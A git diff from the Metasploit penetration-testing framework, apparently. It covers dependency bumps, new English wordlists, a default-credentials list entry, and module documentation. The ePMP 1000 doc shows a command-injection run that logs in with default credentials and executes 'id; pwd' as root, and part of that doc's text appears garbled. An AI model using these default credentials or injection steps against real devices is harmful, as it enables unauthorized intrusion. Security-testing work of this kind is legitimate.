diff --git a/Gemfile.lock b/Gemfile.lock index 8f34dc6ad4..22146fb957 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.14.3) + metasploit-framework (4.14.8) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -16,7 +16,7 @@ PATH metasploit-model metasploit-payloads (= 1.2.19) metasploit_data_models - metasploit_payloads-mettle (= 0.1.7) + metasploit_payloads-mettle (= 0.1.8) msgpack nessus_rest net-ssh @@ -53,6 +53,7 @@ PATH rex-text rex-zip robots + ruby_smb rubyntlm rubyzip sqlite3 @@ -89,7 +90,7 @@ GEM minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - addressable (2.5.0) + addressable (2.5.1) public_suffix (~> 2.0, >= 2.0.2) arel (6.0.4) arel-helpers (2.3.0) @@ -102,6 +103,7 @@ GEM rspec-expectations (>= 2.99) thor (~> 0.19) bcrypt (3.1.11) + bindata (2.3.5) bit-struct (0.15.0) builder (3.2.3) capybara (2.13.0) @@ -144,7 +146,7 @@ GEM multipart-post (>= 1.2, < 3) ffi (1.9.18) filesize (0.1.1) - fivemat (1.3.2) + fivemat (1.3.3) gherkin (4.1.1) google-protobuf (3.2.0.2) googleauth (0.5.1) @@ -155,7 +157,7 @@ GEM multi_json (~> 1.11) os (~> 0.9) signet (~> 0.7) - grpc (1.1.2) + grpc (1.2.0) google-protobuf (~> 3.1) googleauth (~> 0.5.1) i18n (0.8.1) @@ -201,7 +203,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.1.7) + metasploit_payloads-mettle (0.1.8) method_source (0.8.2) mime-types (3.1) mime-types-data (~> 3.2015) @@ -215,8 +217,8 @@ GEM nessus_rest (0.1.6) net-ssh (4.1.0) network_interface (0.0.1) - nexpose (5.3.1) - nokogiri (1.7.0.1) + nexpose (5.3.2) + nokogiri (1.7.1) mini_portile2 (~> 2.1.0) octokit (4.6.2) sawyer (~> 0.8.0, >= 0.5.3) @@ -267,7 +269,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.7) + rex-core (0.1.8) rex-encoder (0.1.2) metasm rex-arch @@ -301,7 +303,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.0) - rex-text (0.2.12) + rex-text (0.2.13) rex-zip (0.1.1) rex-text rkelly-remix (0.0.7) @@ -323,6 +325,11 @@ GEM rspec-mocks (~> 3.5.0) rspec-support (~> 3.5.0) rspec-support (3.5.0) + ruby_smb (0.0.8) + bindata + bit-struct + rubyntlm (~> 0.5) + windows_error rubyntlm (0.6.1) rubyzip (1.2.1) sawyer (0.8.1) @@ -335,7 +342,7 @@ GEM faraday (~> 0.9) jwt (~> 1.5) multi_json (~> 1.10) - simplecov (0.14.0) + simplecov (0.14.1) docile (~> 1.1.0) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) @@ -346,9 +353,9 @@ GEM thor (0.19.4) thread_safe (0.3.6) timecop (0.8.1) - tzinfo (1.2.2) + tzinfo (1.2.3) thread_safe (~> 0.1) - tzinfo-data (1.2017.1) + tzinfo-data (1.2017.2) tzinfo (>= 1.0.0) windows_error (0.1.1) xpath (2.0.0) diff --git a/data/wordlists/dangerzone_a.txt b/data/wordlists/dangerzone_a.txt new file mode 100644 index 0000000000..f49ef53cd9 --- /dev/null +++ b/data/wordlists/dangerzone_a.txt @@ -0,0 +1,1410 @@ +SUPPORTIVE +WOEBEGONE +TEDIOUS +EASY +NEGLIGIBLE +LABORED +MORTIFIED +SPITEFUL +TRAINED +SQUALID +UNSTEADY +HANDSOMELY +RITZY +SPARSE +JOYOUS +WIDE +MISTAKEN +RINGED +THIN +OVERWROUGHT +GARRULOUS +HOPEFUL +DEAD +NORMAL +JOYFUL +IMMENSE +WATERY +POSITIVE +FATHERLY +FRAGRANT +CRAZY +SUPERB +FIXED +MATURE +IMPRACTICAL +WORRISOME +TIGHT +UNLAWFUL +FLUID +THOROUGH +PAINSTAKING +SLOW +NEGATIVE +WEIGHTY +NIFTY +AGGRESSIVE +CALM +SECRET +NAUTICAL +GODLY +SHALLOW +PERSONAL +PHYSICAL +FOAMY +FUSSY +JUBILANT +SEVERAL +OCEANIC +UNCONSCIOUS +METALLIC +ZANY +THREATENING +HONEST +MAGNIFICENT +STABLE +NICE +LEVEL +DRAB +PROFITABLE +MUSTY +WAITING +MONSTROUS +INDELIBLE +COOPERATIVE +SINFUL +JAUNTY +MISERABLE +GROOVY +MALE +SHAGGY +KNOWLEDGEABLE +NOISY +SMELLY +MONUMENTAL +MOTIONLESS +OVAL +NOVEL +OVERDUE +LIVID +NAUSEATING +ONE +HALTING +FICKLE +RIGHT +FEMALE +WOODEN +WEEPING +SAME +PALTRY +WRETCHED +WISTFUL +LUSH +PETTY +HIGH +WANTING +MUNDANE +RAGGED +LIKABLE +STUPID +NAPPY +ORDERLY +NAIVE +MERRY +LEAFY +INSIDIOUS +OPULENT +PITIFUL +CONCERNED +ZIGZAG +SECONDARY +MEEK +GLASS +UNKEMPT +READY +OFFBEAT +TOTAL +MILD +SHODDY +SHOCKING +UNIQUE +SPANISH +FUTURISTIC +FLAKY +UBIQUITOUS +LOVABLE +PERIODIC +QUACK +TABOO +LONELY +KNOWN +MAD +FUTURE +ICY +STRAIGHT +INTRIGUED +SOLID +SLEEPY +INCANDESCENT +DELIGHTFUL +CLUMSY +POPULAR +TURBULENT +TINTED +GOLDEN +HARD +LYRICAL +SOUR +ILLITERATE +FEEBLE +GORGEOUS +SQUARE +WICKED +LITTLE +TIDY +TIRED +SUBDUED +HATEFUL +VELVETY +DIFFERENT +PREMIUM +QUARTERLY +UTTER +OBTAINABLE +VARIOUS +MURKY +WORLDLY +IMMATERIAL +VAGABOND +RESPONSIBLE +GENUINE + +NOSY +UNLUCKY +UNREALISTIC +FRONT +MARRIED +IMPROBABLE +SHINY +TAN +OAFISH +MASCULINE +SCENTED +WARY +SECRETIVE +LOPSIDED +INFAMOUS +TIMELY +PLACID +RELIEVED +MERE +TELLING +INCOMPATIBLE +VORACIOUS +IMPISH +PAINFUL +STRICT +RUSTY +HAREBRAINED +CRUEL +DISTINCT +STURDY +RUTHLESS +NEBULOUS +FIERCE +FITTING +CREEPY +STYLISH +COLORFUL +SCREECHING +WOMANLY +SURPRISED +ODD +LONG +PUBLIC +OUTGOING +LEAN +PSYCHEDELIC +SCATTERED +THIS +UNSUNG +SMUG +RUBBERY +CURIOUS +FESTIVE +PUZZLING +SILENT +INSECURE +ANGRY +RED +SNEAKY +GHASTLY +IMPASSIONED +GLAMOROUS +RESPECTFUL +BEWILDERED +BLUSHING +SPOOKY +HULKING +UNEQUALED +IMPERTURBABLE +ADVENTUROUS +ORGANIC +SWEATY +SPOTTY +SWANKY +UNDERSTATED +OVERCOOKED +DEPRESSED +IMPRESSIVE +SCARY +GROTESQUE +VIOLENT +NUTTY +SCINTILLATING +SQUEAKY +GRAND +IDLE +GAUDY +WAN +THOSE +FLUSTERED +MADDENING +USEFUL +HAIRY +NOTABLE +UNWELCOME +WATERLOGGED +LAME +WISE +STATUESQUE +STRIDENT +CROWDED +THUNDERING +SHAKY +RICH +CLOUDY +SPECTACULAR +POSSIBLE +HOMELESS +INNOCENT +SPIFFY +UNBECOMING +QUARRELSOME +UNFORTUNATE +FRUITFUL +GAPING +DANGEROUS +MASSIVE +THANKFUL +NIMBLE +PERTINENT +UNIMPORTANT +SYMPTOMATIC +BRAINY +VOICELESS +WARPED +SPARKLING +RADIANT +RAW +SORROWFUL +MELODIC +SIZZLING +SHADOWY +WIRY +GRIZZLED +IMPOSSIBLE +FRIGHTENING +GAMY +ICKY +TEENY +POISED +URBAN +WILLING +ANNOYING +GLEEFUL +POSSESSIVE +ORANGE +MARVELOUS +OCCASIONAL +STANDARD +FAULTY +SCARCE +WOEFUL +GLORIOUS +GREEN +ROOMY +IMMINENT +ONLY +SCIENTIFIC +TENSE +GOOFY +GRAY +UNITED +RASPY +REPENTANT +HEARTFELT +WORKABLE +UNUSUAL +KEEN +LUMBERING +FUMBLING +MISERLY +RAINY +GRAVE +SIMPLISTIC +HEFTY +FERTILE +FILTHY +SABLE +SLUSHY +STRONG +PALE +INNATE +WARLIKE +UTILIZED +WHICH +NIPPY +MINUTE +MERCIFUL +MUTED +PENITENT +TOUGH +LUMPY +OILY +LUSTROUS +TRICKY +FORGETFUL +RIGHTEOUS +LETHAL +GRATEFUL +MISTY +SPLENDID +WRY +MAJESTIC +VERSED +INTREPID +UNCOMMON +HONORABLE +HORRIFIC +SIMILAR +SLOPPY +YUMMY +TESTED +LIMPING +POINTED +HEADY +PLAINTIVE +SHAMELESS +REMINISCENT +HISSING +PRISTINE +WORRIED +UTTERMOST +VIVACIOUS +UNARMED +TORMENTED +RAMPANT +HILARIOUS +LINEAR +UTOPIAN +PORTLY +UNDERSTOOD +HURTFUL +STEADY +SHADY +LOWLY +LITERATE +SERENE +FIVE +QUALIFIED +WINDY +STOUT +KINDHEARTED +SINGLE +SAD +NASTY +SOFT +JUMBLED +UNDESIRABLE +NEW +RECEPTIVE +WAGGISH +BUSY +EAGER +TANGY +RIGID +SOPHISTICATED +LAVISH +OPTIMISTIC +LASTING +SCANDALOUS +FORKED +HOLISTIC +CHEERFUL +SUSPICIOUS +UGLIEST +SATISFIED +IMAGINARY +MINTY +SLIM +LARGE +THREE +ALERT +GENTLE +BREAKABLE +HELPFUL +UNAWARE +EMBARRASSED +WAKEFUL +PICAYUNE +FINE +SUCCESSFUL +VAST +POSH +KALEIDOSCOPIC +POLISHED +CHARMING +SERPENTINE +HOMELY +SEVERE +GUTTURAL +UNWRITTEN +IMPARTIAL +SEPARATE +RUNDOWN +NULL +TORN +GUILTLESS +PLUMP +OUTSTANDING +PLAIN +NATURAL +LIKELY +OMNISCIENT +MACHO +RARE +NUTRITIOUS +FRESH +UNFINISHED +IDEAL +ELEGANT +GRATIS +VIOLET +VENOMOUS +RECTANGULAR +ARROGANT +ODDBALL +JUMPY +CONFUSED +FRENCH +FROTHY +LIKE +PUNY +UNFOLDED +TAME +JUDICIOUS +HURT +BAD +ROBUST +INCONCLUSIVE +WHOLE +TART +ROUND +SUBURBAN +SECOND +KIND +FOUR +HAPLESS +RHETORICAL +LACKING +STEEP +FEARLESS +NEEDY +GUMMY +SUGARY +SUBSEQUENT +SPURIOUS +INFORMAL +SLIPPERY +QUINTESSENTIAL +YELLOWISH +NECESSARY +STICKY +ZESTY +TANGIBLE +NINE +FRILLY +ENCOURAGING +HURRIED +FRAYED +MILITARY +DIFFICULT +INCONSEQUENTIAL +PRIMARY +OVERCONFIDENT +REDUNDANT +EXUBERANT +ZONKED +SIX +LATE +GIGANTIC +PRUDENT +IMPORTED +INFERIOR +OUTLANDISH +RURAL +SANDY +REASONABLE +JAGGED +ULTRA +WHISPERED +INSTRUCTIVE +PLAYFUL +VIGOROUS +LEWD +TEEMING +VICTORIOUS +PLASTIC +ZIPPY +VENERATED +PUFFY +MAKESHIFT +FARAWAY +GREAT +SELFISH +PASSIONATE +OUTLYING +BLOODY +DULL +ATTRACTIVE +BETTER +FORTUNATE +UNWITTING +HUSHED +KEY +SORE +IMPURE +TUBBY +AWFUL +STEREOTYPED +HALLOWED +PROPER +SHABBY +SHOCKED +PURPLE +LEADING +PIQUANT +REBEL +TRAUMATIC +TEMPTING +FOREGOING +HEAVY +HYSTERICAL +TRUSTY +SCRATCHY +FORMAL +STALE +PINK +NEIGHBORING +INTELLIGENT +NONDESCRIPT +TRUCULENT +HUMILIATING +SMOOTH +WAVY +IMPORTANT +THINKABLE +TASTELESS +PAST +WELCOME +QUERULOUS +FRIVOLOUS +DETERMINED +ROUGH +RUNNY +TENDER +GLIB +SPECIFIC +STIFF +FRUGAL +PUTRID +TAWDRY +GAINFUL +MEDIUM +REVOLVING +TWO +GLARING +SHRILL +FLAMBOYANT +MOUNTAINOUS +MUTE +INEXPERIENCED +LAMENTABLE +TIGHTFISTED +ROWDY +IMAGINATIVE +RIGHTFUL +GLEAMING +SHAMEFUL +SILVER +SMILING +HISTORICAL +FLIPPANT +GENEROUS +IDIOTIC +GRANULAR +HELPLESS +SHARP +IMPECCABLE +LOW +INTENT +SQUEALING +IMMEDIATE +TRAGIC +OFFICIAL +BRIGHT +SPIRITED +JUNIOR +GROSS +QUIET +NOTED +AVERAGE +ONEROUS +SUCCINCT +MINDLESS +LINED +FAT +LAST +PURRING +FIRM +ROTATING +HALF +NEGLECTED +OBSCENE +GREGARIOUS +HUMMING +TAUT +FABULOUS +UNKNOWN +FRIZZY +UNSELFISH +MATERIALISTIC +SUDDEN +XENOPHOBIC +INFATUATED +UNSUITABLE +SASSY +SPOTTED +TRIANGULAR +NOXIOUS +TESTY +YOUNG +SCARED +STAKING +MISCREANT +VOLUMINOUS +LONGING +HUSKY +LEARNED +THUNDEROUS +LIMITED +GRANDIOSE +KNOTTY +SCALY +JOBLESS +SMART +VARIABLE +PROUD +LONE +UNRIPE +MULTICOLORED +HOSPITABLE +UNTRIED +UNTRUE +EVIL +TERRIBLE +MYSTERIOUS +LYING +NONSENSICAL +SUPREME +MAJOR +WEALTHY +FREQUENT +OBSERVANT +HARSH +LANGUID +FRAIL +TRIFLING +SOCIABLE +PERKY +HUMDRUM +GRACIOUS +SILKY +ENERGETIC +WET +SPOTLESS +GLOSSY +COURAGEOUS +VIVID +PUNCTUAL +HOLLOW +FLOPPY +ELATED +MUDDLED +UNHAPPY +PREVIOUS +REMORSEFUL +HUMONGOUS +IDOLIZED +STEADFAST +IMMACULATE +SHY +IGNORANT +MISGUIDED +KOSHER +SHOWY +HESITANT +GREY +HYPNOTIC +THICK +HONORED +NOSTALGIC +LUMINOUS +VIRTUOUS +INTERNAL +WEIRD +FAIR +WORTHLESS +LEGAL +FOND +YELLOW +PRIZE +OPPOSITE +THRIFTY +FANCY +PARTIAL +OBSOLETE +FEW +SWIFT +WARMHEARTED +FATAL +MACABRE +REFLECTING +MADLY +TEMPORARY +GLISTENING +MALICIOUS +LOATHSOME +ROTTEN +LIGHTHEARTED +IDENTICAL +VALID +FLUFY +PASTEL +FULL +STARRY +SKELETAL +ORIGINAL +AMUSED +PERFECT +FAMOUS +TEPID +PATHETIC +PIERCING +NEAR +WHIRLWIND +SEDATE +POWERFUL +HEARTBREAKING +FOOLHARDY +PERPLEXED +WEEPY +SKINNY +VACUOUS +GRIM +YAWNING +HIDDEN +WORN +WOOZY +KNOBBY +LOYAL +RUDE +QUICK +WASTEFUL +HANDSOME +INVINCIBLE +RASH +FAKE +TRITE +IRATE +IRONCLAD +PUSHY +FUNCTIONAL +UNIFORM +FORCEFUL +REMOTE +STRIKING +MEMORABLE +FROZEN +MANY +UNLINED +EXCITED +WORDY +OPTIMAL +MAGICAL +QUAINT +CAUTIOUS +IMPOLITE +OBEDIENT +FANTASTIC +RAMBUNCTIOUS +NEIGHBORLY +ALIVE +PUNGENT +MINIATURE +GRUBBY +UNEQUAL +FLASHY +UNINTERESTED +LIVE +SORDID +MEAN +PARSIMONIOUS +FREE +MODERN +FAINT +INFANTILE +MARKED +TRUE +TYPICAL +OLD +WORTHWHILE +FOOLISH +MOLDY +KINDLY +ANXIOUS +MINOR +IRRITABLE +PEACEFUL +PSYCHOTIC +TOWERING +INTENTIONAL +OVERJOYED +VIGILANT +DARK +TATTERED +WARM +OFFENSIVE +JUICY +RECKLESS +PASTORAL +ROSY +HOARSE +MOANING +OPEN +HARMLESS +USELESS +FLAGRANT +PLUSH +WATCHFUL +SOUPY +FEISTY +LOOSE +ORDINARY +OBLONG +FAILING +ENCHANTING +WITTY +UNPLEASANT +PRIME +SVELTE +WEARY +MEDIOCRE +LAUGHABLE +UNUSED +TINY +JOVIAL +PHOBIC +SNARLING +QUIZZICAL +SEEMLY +SUPER +FALLACIOUS +TRASHY +UNEVEN +NOTEWORTHY +LACKADAISICAL +IRRITATING +RABID +HUGE +REGULAR +FLICKERING +ULTIMATE +HASTY +SPHERICAL +SUCCULENT +SYMPATHETIC +TIRESOME +INCOMPETENT +RELIABLE +TWIN +VICIOUS +LAZY +SWEET +MONTHLY +WHISPERING +MESSY +INSIGNIFICANT +JOLLY +HANDMADE +WHIMSICAL +UNCOVERED +FURTIVE +STUNNING +ORNATE +VIRTUAL +OBLIVIOUS +CLEAR +HAPPY +HAUNTING +QUIRKY +LUXURIOUS +PRACTICAL +THORNY +TALL +ILLEGAL +MUSHY +HANDY +SCRAWNY +LIGHT +WHOLESALE +THREADBARE +VACANT +WRONG +FAVORITE +STEEL +CONDEMNED +WHITE +COMBATIVE +WEE +RACIAL +PERPETUAL +SHUT +GIANT +SUBSTANTIAL +FLAT +FUZZY +SOULFUL +STORMY +NARROW +THERAPEUTIC +PHONY +GRUMPY +ASHAMED +QUICKEST +FLAWED +SUBMISSIVE +GUILTY +GULLIBLE +VIBRANT +WEAK +WRITHING +DIZZY +RAPID +PRETTY +DISGUSTED +AGREEABLE +HIGHFALUTIN +HORRIBLE +MORAL +LEGITIMATE +PERMISSIBLE +PARALLEL +UNFIT +MOMENTOUS +SUPERIOR +INSUBSTANTIAL +MELLOW +TRUSTING +TALKATIVE +GRIEVING +SWELTERING +OUTRAGEOUS +SICK +INCOMPLETE +YOUTHFUL +NEEDLESS +USED +CAREFUL +JITTERY +VAPID +GROWLING +OVERT +GREEDY +FADED +PANICKY +BEAUTIFUL +SIMPLE +FEMININE +ANNOYED +SALTY +THAT +NOISELESS +UNTIDY +CUTE +JOINT +SARCASTIC +SOMBER +FANATICAL +FLOWERY +JUVENILE +ZEALOUS +JEALOUS +SPECIAL +FRIENDLY +WILD +TRUTHFUL +UPBEAT +UNNATURAL +FORSAKEN +STUPENDOUS +HIDEOUS +VALUABLE +OUR +MUDDY +HELLISH +OVERLOOKED +DEFIANT +THOUGHTFUL +MODEST +QUIXOTIC +LAWFUL +LIVING +MELTED +CLEAN +SNOOPY +NONCHALANT +LIMP +JUMBO +YIELDING +SINCERE +VEXED +THESE +WACKY +PRICEY +REFLECTIVE +ROYAL +LANKY +WORTHY +STANDING +ILL +POLITE +VAGUE +KOOKY +RESONANT +OSSIFIED +INBORN +SELECTIVE +PESSIMISTIC +POINTLESS +FLUTTERING +OBSEQUIOUS +SCHOLARLY +TENUOUS +WORSE +SOGGY +INEXPENSIVE +UNRULY +PARCHED +SULKY +LUCKY +CRISPY +PRECIOUS +UNTIMELY +BRAVE +ENTHUSIASTIC +MANIACAL +REAL +UNHEALTHY +RESOLUTE +HEALTHY +INQUISITIVE +UNABLE +TORPID +SYNONYMOUS +TREMENDOUS +PLUCKY +LOVING +SMARMY +OBEISANT +HUMOROUS +STUDIOUS +GROWN +THIRSTY +INDUSTRIOUS +FIRST +GRUESOME +PRIVATE +NERVOUS +SOME +WHOPPING +UGLY +MAGENTA +SUBTLE +PANORAMIC +IMPERFECT +FRETFUL +SATISFYING +WIGGLY +STIMULATING +WEBBED +ADORABLE +MAMMOTH +VISIBLE +WONDERFUL +STARCHY +PESKY +PLEASANT +GLITTERING +TRIVIAL +SKILLFUL +SNOBBISH +HARMONIOUS +BORED +POOR +LIVELY +BLUE +UNACCOUNTABLE +MILKY +MATERIAL +SERIOUS +IDEALISTIC +YEARLY +PLANT +DISTURBED +GLOOMY +FALSE +GUARDED +REALISTIC +INTERNATIONAL +REPULSIVE +ENVIOUS +MEATY +TALENTED +VENGEFUL +VERDANT +STAID +WEEKLY +GIVING +WILTED +FEIGNED +TROUBLED +FRIGHTENED +SARDONIC +FAMILIAR +SQUIGGLY +GIDDY +MIGHTY +REWARDING +SPEEDY +PRESTIGIOUS +FREEZING +PUMPED +LUDICROUS +NEAT +GUSTY +OBNOXIOUS +SPRY +LOUD +GROUCHY +KAPUT +PUZZLED +TERRIFIC +EXPENSIVE +SNAPPY +PALATABLE +SMALL +STRIPED +FRANK +RECENT +TOOTHSOME +CLEVER +REQUIRED +SHIMMERING +LIQUID +HOT +POWERLESS +THIRD +GLUM +FIRSTHAND +JADED +VILLAINOUS +GROWING +MOODY +VULGAR +USABLE +REMARKABLE +UNCOMFORTABLE +PRESENT +UNBIASED +MEASLY +HANGING +DEFEATED +ILLUSTRIOUS +COMFORTABLE +BLACK +HUNGRY +ROASTED +LOVELY +PLEASING +MIXED +TASTY +MOTHERLY +FINISHED +PERFUMED +TREASURED +MELANCHOLY +ITCHY +SCANT +SLIMY +WORST +TRIM +GRACEFUL +STAINED +OTHER +RIPE +HEARTY +SCORNFUL +HUMBLE +FRAGILE +INTERESTING +IMPRESSIONABLE +STRANGE +IRRESPONSIBLE +SAVORY +NONSTOP +INCOMPARABLE +QUEASY +TEN +NUMBERLESS +UNWIELDY +PLEASED +MOIST +FAVORABLE +STINGY +FINICKY +SHORT +GREASY +TRUSTWORTHY +FRUSTRATING +TACKY +WANDERING +PROTECTIVE +INDOLENT +RESPONSIVE +LOST +INFINITE +MENACING +FUNNY +NAUGHTY +PRODUCTIVE +ROMANTIC +VAIN +UPRIGHT +TASTEFUL +FORTHRIGHT +PROFUSE +SENTIMENTAL +SMOGGY +GOOD +LOUTISH +INCREDIBLE +NOCTURNAL +GASEOUS +VOLATILE +SANE +NEXT +ROTUND +SQUEAMISH +FASCINATED +PEPPERY +GROUNDED +SNIVELING +INSTINCTIVE +SILLY +RATTY +GABBY +FAST +PLAUSIBLE +WRATHFUL +SPICY +WINGED +RECONDITE +RUDDY +ORNERY +SPIRITUAL +VERIFIABLE +VITAL +GENERAL +LEFT +OVERRATED +WINDING +MEALY +POTABLE +NUMEROUS +NUMB +FAITHFUL +HARMFUL +POLITICAL +FOCUSED +REGAL +FAR +QUESTIONABLE +KNOWING +FLIMSY +TACIT +UPTIGHT +LUXURIANT +RUSTIC +TRANQUIL +TEARFUL +SAFE +STARK +JAZZY +INSISTENT +OBVIOUS +UPPITY +GIFTED +FELINE +MUFFLED +MEDICAL +THOUGHTLESS +FROSTY +HEAVENLY +POMPOUS +FURRY +SUNNY +UNSIGHTLY +GRIMY +MEAGER +FRIGID +SUPERFICIAL +PURE +FLAWLESS +PETITE +OBESE +GARGANTUAN +HABITUAL +PROBABLE +FEARFUL +DOUBTFUL +PRICKLY +WOBBLY +SNOTTY +UPSET +SHIVERING +LIKEABLE +SPIKY +FRANTIC +KLUTZY diff --git a/data/wordlists/dangerzone_b.txt b/data/wordlists/dangerzone_b.txt new file mode 100644 index 0000000000..d574a4bee3 --- /dev/null +++ b/data/wordlists/dangerzone_b.txt @@ -0,0 +1,305 @@ +LAWYER +GLASS +HUNT +UNDERSTANDING +RELATION +HORROR +CASH +TWO +WHEEL +COMPLAINT +RISK +BANANA +ANGEL +KANGAROO +BACON +TISSUE +TURTLENECK +DAUGHTER +SUGGESTION +WEAR +QUESTION +SOUTH +LENGTH +BONUS +STOCK +FEELING +BAND +HUSBAND +ADVERTISING +AUTHOR +GUEST +PROOF +FRUIT +GUARD +TOUCH +WILL +TOE +STRENGTH +DRESS +PLEASURE +ESTIMATE +OPPORTUNITY +NOTE +DIG +DISH +GROUP +STRUCTURE +MIND +EDITOR +ADVANTAGE +YOUNG +GAP +SERVE +VOICE +WAKE +DROP +CURRENCY +COMFORT +SPECIALIST +SCRATCH +MISSION +CARPET +INTERVIEW +SHOPPING +CONSIST +SINGLE +IMAGINATION +SPARE +COVER +EXAMINATION +ROUTINE +COLLAR +WALL +SWIM +ATTACK +SPIRITUAL +JURY +ROLE +DREAM +BREAK +LEG +TEACHER +SHOE +PANIC +DEPARTURE +VALUE +BONE +WAIT +AMOUNT +TOUR +STAND +TRUFFLE +ASSOCIATE +WEIRD +RING +BUILDING +ABROAD +ALTERNATIVE +DIFFICULTY +NASTY +SIGN +CLERK +PRESENT +STRETCH +CHILD +NOVEL +SHOWER +AD +ATTENTION +NEWS +GARAGE +BORDER +BASIS +PROCESS +TONIGHT +TRUTH +PERIOD +CATEGORY +APPOINTMENT +SPACE +MILK +DRUNK +MISTAKE +SYMPATHY +EFFORT +BUTTON +RED +CLASS +WAY +TOOTH +PHYSICS +BITTER +SITUATION +LAND +PEAK +BRUSH +SAIL +SOUP +VAST +RISE +INEVITABLE +CHAIN +PREPARATION +TOTAL +SPIRIT +ROAD +SINGER +FORCE +IMPLEMENT +MAIL +EVENING +TEMPERATURE +DEALER +ARRIVAL +TARGET +SHELTER +WASH +FOCUS +ASSUMPTION +INTENTION +ACCIDENT +HORSE +MONTH +MAN +PACKAGE +DEPRESSION +COOKIE +RESPOND +LEATHER +CATCH +CULTURE +TEACH +PRACTICE +SOFTWARE +COMFORTABLE +TEA +FINDING +ANSWER +WRITING +SEAT +DIFFERENCE +SICK +CRAZY +FLOW +ACCOUNT +MEMBER +COUNTY +INFORMATION +PART +CHECK +GOLF +RAIN +STUFF +CLUE +MASTER +REWARD +WHILE +OPTION +LUCK +DISCOUNT +POTENTIAL +FIGURE +DISPLAY +DESIGN +VALUABLE +COMMUNICATION +INSURANCE +PREFERENCE +SUBJECT +CLUB +OIL +BUNCH +GROWTH +IMPORTANCE +REGION +LOSS +BOYFRIEND +CONTEST +PLANE +DEBATE +ICE +NURSE +HOLD +GO +APPLICATION +SALT +PROTECTION +HEART +WEATHER +OVEN +JUDGMENT +IMPACT +MISS +CLIMATE +SEARCH +SON +ACT +STAGE +OFFER +POSSIBILITY +TRY +STUDIO +INCOME +SOURCE +BAG +PLACE +NOISE +NEGOTIATION +BUS +HALL +ASSISTANCE +MEDICINE +NOBODY +CHARITY +EMPLOY +WORLD +AFTERNOON +PHASE +RESEARCH +SALE +WINNER +CONTRACT +PULL +MAP +DESIGNER +MEMORY +BALANCE +MEDIUM +COFFEE +MALL +PHONE +KING +SCALE +THROAT +SUSPECT +QUANTITY +YARD +EXCHANGE +CHAMPIONSHIP +PONY +STREET +TIME +HOPE +YOU +NIGHT +QUARTER +REPLY +DRAG +MINUTE +SUPPORT +SUIT +SIR +BACKGROUND +MANNER +MANAGER +MATCH +GENERAL +TILL +EXPERT +TRANSPORTATION +DEFINITION +PLASTIC +CAKE +BUDDY +MINE diff --git a/data/wordlists/default_userpass_for_services_unhash.txt b/data/wordlists/default_userpass_for_services_unhash.txt index af4ddede95..a99fc51f5f 100644 --- a/data/wordlists/default_userpass_for_services_unhash.txt +++ b/data/wordlists/default_userpass_for_services_unhash.txt @@ -1818,3 +1818,4 @@ admin 54321 admin 7ujMko0admin admin meinsm mother fucker +cmc password diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index dcdd5e419b..bbc4dc7bae 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -23,6 +23,10 @@ Remember that these phone numbers must be the same carrier. The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about supported carriers. +**SMSSUBJECT** + +The text subject. + **SMSMESSAGE** The text message you want to send. For example, this will send a text with a link to google: diff --git a/documentation/modules/auxiliary/gather/shodan_honeyscore.md b/documentation/modules/auxiliary/gather/shodan_honeyscore.md new file mode 100644 index 0000000000..ad9c4c989f --- /dev/null +++ b/documentation/modules/auxiliary/gather/shodan_honeyscore.md @@ -0,0 +1,52 @@ +The `shodan_honeyscore` module utilizes the [Shodan](https://www.shodan.io/) API to determine whether or not a server is a honeypot or not. +When setting the module options, we aren't directly requesting `TARGET`, we are requesting the shodan API to analyze `TARGET` and return a honeyscore from 0.0 to 1.0. 0.0 being `not a honeypot` and 1.0 being a `honeypot`. The original website for the honeypot system can be found here: https://honeyscore.shodan.io/. + +#### NOTE: +In order for this module to function properly, a Shodan API key is needed. You can register for a free acount here: https://account.shodan.io/register + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/gather/shodan_honeyscore` + 3. Do: `set TARGET ` + 4. Do: `set SHODAN_APIKEY ` + 5. Do: `run` + 6. If the API is up, you should recieve a score from 0.0 to 1.0. + +## Options + + **TARGET** + + The remote host to request the API to scan. + + **SHODAN_APIKEY** + + This is the API key you recieve when signing up for a Shodan account. It should be a 32 character string of random letters and numbers. + + +## Scenarios + +Running the module against a real system (in this case, the Google DNS server): + + ``` + msf > use auxiliary/gather/shodan_honeyscore +msf auxiliary(shodan_honeyscore) > options + +Module options (auxiliary/gather/shodan_honeyscore): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SHODAN_APIKEY yes The SHODAN API key + TARGET yes The target to get the score of + +msf auxiliary(shodan_honeyscore) > set TARGET 8.8.8.8 +TARGET => 8.8.8.8 +msf auxiliary(shodan_honeyscore) > set SHODAN_APIKEY [redacted] +SHODAN_APIKEY => [redacted] +msf auxiliary(shodan_honeyscore) > run + +[*] Scanning 8.8.8.8 +[-] 8.8.8.8 is not a honeypot +[*] 8.8.8.8 honeyscore: 0.0/1.0 +[*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md new file mode 100755 index 0000000000..1bd59c1165 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md @@ -0,0 +1,27 @@ +This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 ( use auxiliary/scanner/http/epmp1000_cmd_exec +msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7 +msf auxiliary(epmp1000_cmd_exec) > set rport 80 +msf auxiliary(epmp1000_cmd_exec) > run + +[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2... +[*] 1.3.3.7:80 - Attempting to login... +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer" +[*] 1.3.3.7:80 - Executing id; pwd +uid=0(root) gid=0(root) 